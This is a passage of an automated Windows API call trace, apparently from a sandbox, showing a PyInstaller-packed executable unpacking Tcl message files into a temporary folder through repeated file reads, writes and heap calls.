dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.555] GetFileType (hFile=0x10c) returned 0x1 [0037.555] htonl (hostlong=0x5a010000) returned 0x15a [0037.555] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.555] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x15a, lpOverlapped=0x0) returned 1 [0037.557] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.557] CloseHandle (hObject=0x10c) returned 1 [0037.557] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.557] htonl (hostlong=0x30000000) returned 0x30 [0037.557] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.557] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.558] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.558] GetFileType (hFile=0x10c) returned 0x1 [0037.558] htonl (hostlong=0x647c5700) returned 0x577c64 [0037.558] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c2c64, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.558] htonl (hostlong=0x8e010000) returned 0x18e [0037.558] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x18e) returned 0x550600 [0037.558] htonl (hostlong=0x8e010000) returned 0x18e [0037.558] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.558] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.558] htonl (hostlong=0xa6070000) returned 0x7a6 [0037.558] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7a6) returned 0x55e278 [0037.558] htonl (hostlong=0x8e010000) returned 0x18e [0037.558] htonl (hostlong=0xa6070000) returned 0x7a6 [0037.558] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.558] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.558] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.558] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.558] CloseHandle (hObject=0x10c) returned 1 [0037.558] GetLastError () returned 0x0 [0037.558] SetLastError (dwErrCode=0x0) [0037.558] GetLastError () returned 0x0 [0037.558] SetLastError (dwErrCode=0x0) [0037.558] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.558] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.558] GetFileType (hFile=0x10c) returned 0x1 [0037.559] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.559] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.559] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.559] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.559] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.559] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.559] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.559] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.559] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.559] CloseHandle (hObject=0x10c) returned 1 [0037.559] GetLastError () returned 0x0 [0037.559] SetLastError (dwErrCode=0x0) [0037.559] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.559] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.559] GetFileType (hFile=0x10c) returned 0x1 [0037.559] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.559] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.559] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.559] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.559] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.559] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.559] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.559] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.559] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.559] CloseHandle (hObject=0x10c) returned 1 [0037.560] GetLastError () returned 0x0 [0037.560] SetLastError (dwErrCode=0x0) [0037.560] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kok.msg") returned 62 [0037.560] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kok.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\kok.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.560] GetLastError () returned 0x2 [0037.560] SetLastError (dwErrCode=0x2) [0037.560] GetLastError () returned 0x2 [0037.560] SetLastError (dwErrCode=0x2) [0037.560] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kok.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kok.msg", lpFilePart=0x0) returned 0x3d [0037.560] GetLastError () returned 0x2 [0037.560] SetLastError (dwErrCode=0x2) [0037.560] GetLastError () returned 0x2 [0037.560] SetLastError (dwErrCode=0x2) [0037.560] GetLastError () returned 0x2 [0037.560] SetLastError (dwErrCode=0x2) [0037.560] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kok.msg") returned 62 [0037.560] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.560] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kok.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\kok.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.561] GetFileType (hFile=0x10c) returned 0x1 [0037.561] htonl (hostlong=0xa6070000) returned 0x7a6 [0037.561] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.561] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x7a6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x7a6, lpOverlapped=0x0) returned 1 [0037.562] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.562] CloseHandle (hObject=0x10c) returned 1 [0037.563] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.563] htonl (hostlong=0x30000000) returned 0x30 [0037.563] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.563] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.563] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.563] GetFileType (hFile=0x10c) returned 0x1 [0037.563] htonl (hostlong=0xf27d5700) returned 0x577df2 [0037.563] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c2df2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.563] htonl (hostlong=0x9f000000) returned 0x9f [0037.563] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.563] htonl (hostlong=0x9f000000) returned 0x9f [0037.563] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.563] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.563] htonl (hostlong=0xfe000000) returned 0xfe [0037.564] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfe) returned 0x550600 [0037.564] htonl (hostlong=0x9f000000) returned 0x9f [0037.564] htonl (hostlong=0xfe000000) returned 0xfe [0037.564] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.564] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.564] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.564] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.564] CloseHandle (hObject=0x10c) returned 1 [0037.564] GetLastError () returned 0x0 [0037.564] SetLastError (dwErrCode=0x0) [0037.564] GetLastError () returned 0x0 [0037.564] SetLastError (dwErrCode=0x0) [0037.564] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.564] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.564] GetFileType (hFile=0x10c) returned 0x1 [0037.564] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.564] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.564] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.564] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.564] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.564] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.564] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.564] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.564] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.565] CloseHandle (hObject=0x10c) returned 1 [0037.565] GetLastError () returned 0x0 [0037.565] SetLastError (dwErrCode=0x0) [0037.565] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.565] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.565] GetFileType (hFile=0x10c) returned 0x1 [0037.565] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.565] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.565] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.565] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.565] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.565] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.565] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.565] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.565] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.565] CloseHandle (hObject=0x10c) returned 1 [0037.565] GetLastError () returned 0x0 [0037.565] SetLastError (dwErrCode=0x0) [0037.565] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kok_in.msg") returned 65 [0037.565] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kok_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\kok_in.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.565] GetLastError () returned 0x2 [0037.565] SetLastError (dwErrCode=0x2) [0037.565] GetLastError () returned 0x2 [0037.566] SetLastError (dwErrCode=0x2) [0037.566] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kok_in.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kok_in.msg", lpFilePart=0x0) returned 0x40 [0037.566] GetLastError () returned 0x2 [0037.566] SetLastError (dwErrCode=0x2) [0037.566] GetLastError () returned 0x2 [0037.566] SetLastError (dwErrCode=0x2) [0037.566] GetLastError () returned 0x2 [0037.566] SetLastError (dwErrCode=0x2) [0037.566] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kok_in.msg") returned 65 [0037.566] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.566] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kok_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\kok_in.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.566] GetFileType (hFile=0x10c) returned 0x1 [0037.566] htonl (hostlong=0xfe000000) returned 0xfe [0037.566] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.566] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfe, lpOverlapped=0x0) returned 1 [0037.567] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.567] CloseHandle (hObject=0x10c) returned 1 [0037.568] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.568] htonl (hostlong=0x30000000) returned 0x30 [0037.568] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.568] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.568] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.568] GetFileType (hFile=0x10c) returned 0x1 [0037.568] htonl (hostlong=0x917e5700) returned 0x577e91 [0037.568] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c2e91, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.568] htonl (hostlong=0x41010000) returned 0x141 [0037.568] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x141) returned 0x550600 [0037.568] htonl (hostlong=0x41010000) returned 0x141 [0037.569] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.569] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.569] htonl (hostlong=0xc6030000) returned 0x3c6 [0037.569] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3c6) returned 0x550750 [0037.569] htonl (hostlong=0x41010000) returned 0x141 [0037.569] htonl (hostlong=0xc6030000) returned 0x3c6 [0037.569] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.569] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.569] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.569] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.569] CloseHandle (hObject=0x10c) returned 1 [0037.569] GetLastError () returned 0x0 [0037.569] SetLastError (dwErrCode=0x0) [0037.569] GetLastError () returned 0x0 [0037.569] SetLastError (dwErrCode=0x0) [0037.569] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.569] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.569] GetFileType (hFile=0x10c) returned 0x1 [0037.569] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.569] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.569] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.569] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.569] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.569] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.569] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.569] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.570] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.570] CloseHandle (hObject=0x10c) returned 1 [0037.570] GetLastError () returned 0x0 [0037.570] SetLastError (dwErrCode=0x0) [0037.570] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.570] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: 